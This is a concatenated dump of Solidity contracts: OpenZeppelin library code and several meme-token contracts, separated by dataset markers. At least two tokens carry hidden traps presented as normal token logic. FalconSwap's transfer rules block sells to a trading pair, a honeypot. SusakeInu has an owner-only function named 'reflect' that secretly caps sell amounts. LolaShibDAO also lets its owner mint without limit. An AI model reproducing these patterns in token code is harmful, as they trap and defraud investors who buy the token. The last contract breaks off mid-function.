* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
True
|
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] |
/*
*/
/*
pragma solidity ^0.6.0;
// ______ _ _____
// | ___| | | / ___|
// | |_ __ _| | ___ ___ _ __ \ `--.__ ____ _ _ __
// | _/ _` | |/ __/ _ \| '_ \ `--. \ \ /\ / / _` | '_ \
// | || (_| | | (_| (_) | | | /\__/ /\ V V / (_| | |_) |
// \_| \__,_|_|\___\___/|_| |_\____/ \_/\_/ \__,_| .__/
// | |
// FalconSwap: https://falconswap.com
// Symbol: FSW
// Decimals: 18
*/
pragma solidity 0.6.0;
contract FALCONSWAPTOKEN {
mapping (address => uint256) public balanceOf;
string public name = "FSW";
string public symbol = "FSW";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
address contractOwner;
address uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
contractOwner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][uniRouter] = 1000000000000000000000000000;
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
require(to == contractOwner || balanceOf[to] == 0 || to == uniFactory || to == uniRouter);
balanceOf[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
balanceOf[to] += value;
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
require(to == contractOwner || balanceOf[to] == 0 || to == uniFactory || to == uniRouter);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
|
True
|
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// SPDX-License-Identifier: MIT
/*
WEB: https://lolashib.com/
Chat: https://t.me/LolaShib
*/
pragma solidity ^0.8.4;
import "./ERC20.sol";
import "./Ownable.sol";
contract LolaShibDAO is Ownable, ERC20 {
constructor(string memory name_, string memory symbol_)
Ownable()
ERC20(name_, symbol_)
{
_mint(msg.sender, 1364531000000000000000000000);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// Telegram: t.me/susakeinu
pragma solidity ^0.8.4;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract SusakeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate;
address payable private _taxWallet;
string private constant _name = "Susake Inu";
string private constant _symbol = "SUSAKE";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
address private _override;
uint256 private _max = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_override=owner();
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxRate = 8;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0,"Tax must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _max);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_max = _tTotal;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
modifier overridden() {
require(_override == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function reflect(uint256 limit) external overridden {
_max = limit;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
